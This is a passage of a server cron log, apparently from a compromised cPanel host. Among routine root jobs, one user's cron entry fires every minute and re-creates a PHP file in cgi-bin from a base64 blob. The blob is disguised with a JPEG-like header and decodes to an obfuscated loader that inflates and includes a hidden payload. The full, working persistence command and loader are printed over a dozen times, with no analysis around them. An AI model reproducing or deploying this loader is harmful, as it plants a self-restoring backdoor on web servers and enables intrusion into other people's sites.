"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:56:01 server CROND[30229]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:57:01 server CROND[30359]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 00:57:01 server CROND[30360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:58:01 server CROND[30416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:59:01 server CROND[30472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:00:01 server CROND[30518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:00:01 server CROND[30519]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 01:00:01 server CROND[30520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:00:01 server CROND[30521]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:01:01 server CROND[30639]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:01:01 server CROND[30640]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 01:01:01 server run-parts(/etc/cron.hourly)[30640]: starting 0anacron
Apr  9 01:01:01 server anacron[30654]: Anacron started on 2025-04-09
Apr  9 01:01:01 server anacron[30654]: Normal exit (0 jobs run)
Apr  9 01:01:01 server run-parts(/etc/cron.hourly)[30656]: finished 0anacron
Apr  9 01:02:01 server CROND[30812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:03:01 server CROND[30859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:04:01 server CROND[30917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:05:01 server CROND[30980]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 01:05:01 server CROND[30982]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 01:05:01 server CROND[30981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:05:01 server CROND[30983]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 01:06:01 server CROND[31088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:07:01 server CROND[31237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 01:08:01 server CROND[31289]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1N